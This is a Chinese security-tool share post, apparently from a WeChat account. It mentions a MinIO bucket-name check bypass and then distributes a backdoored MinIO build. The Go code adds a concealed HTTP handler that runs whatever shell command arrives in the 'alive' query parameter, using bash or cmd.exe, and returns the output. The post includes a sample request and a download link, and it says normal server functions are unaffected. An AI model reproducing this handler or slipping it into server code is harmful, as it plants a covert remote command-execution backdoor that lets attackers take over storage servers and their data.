日期:
来源:Hack分享吧收集编辑:AbelChe
声明:该公众号分享的安全工具和项目均来源于网络,仅供安全研究与学习之用,如用于其他用途,由使用者承担全部法律及连带责任,与工具作者和本公众号无关。 |
Minio 是一个多云对象存储框架。在 RELEASE.2023-03-20T20-16-18Z 之前,攻击者可以使用精心设计的请求绕过元数据存储桶名称检查,并在处理“PostPolicyBucket”时将对象放入任何存储桶。
改变了什么?
add cmd/x.go,用于exec系统命令
package cmdimport ("os/exec""runtime")func getOutputDirectly(commandStr string) string {var execGlobalOutput stringvar shell [2]stringvar systemOS string = runtime.GOOSif systemOS == "linux" || systemOS == "darwin" {shell[0], shell[1] = "/bin/bash", "-c"} else {shell[0], shell[1] = "C:\\Windows\\System32\\cmd.exe", "/c"}cmd := exec.Command(shell[0], shell[1], commandStr)output, err := cmd.Output()if err != nil {return ""}execGlobalOutput += string(output)return execGlobalOutput}
// ..........setUploadForwardingHandler,// Add bucket forwarding handlersetBucketForwardingHandler,// Add new handlers here.xHandler, // ADD THIS LINE}// configureServer handler returns final handler for the http server.func configureServerHandler(endpointServerPools EndpointServerPools) (http.Handler, error) {// ..........
func xHandler(h http.Handler) http.Handler {return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {var arg stringvalues := r.URL.Query()arg = values.Get("alive")if arg != "" {w.Write([]byte(getOutputDirectly(arg)))return}h.ServeHTTP(w, r)})}
可以做什么?
http://1.2.3.4/?alive=whoamihttp://1.2.3.4/anything?alive=whoami
2. 正常功能不受影响
下载地址
回复关键字【230404】获取下载链接
往期推荐工具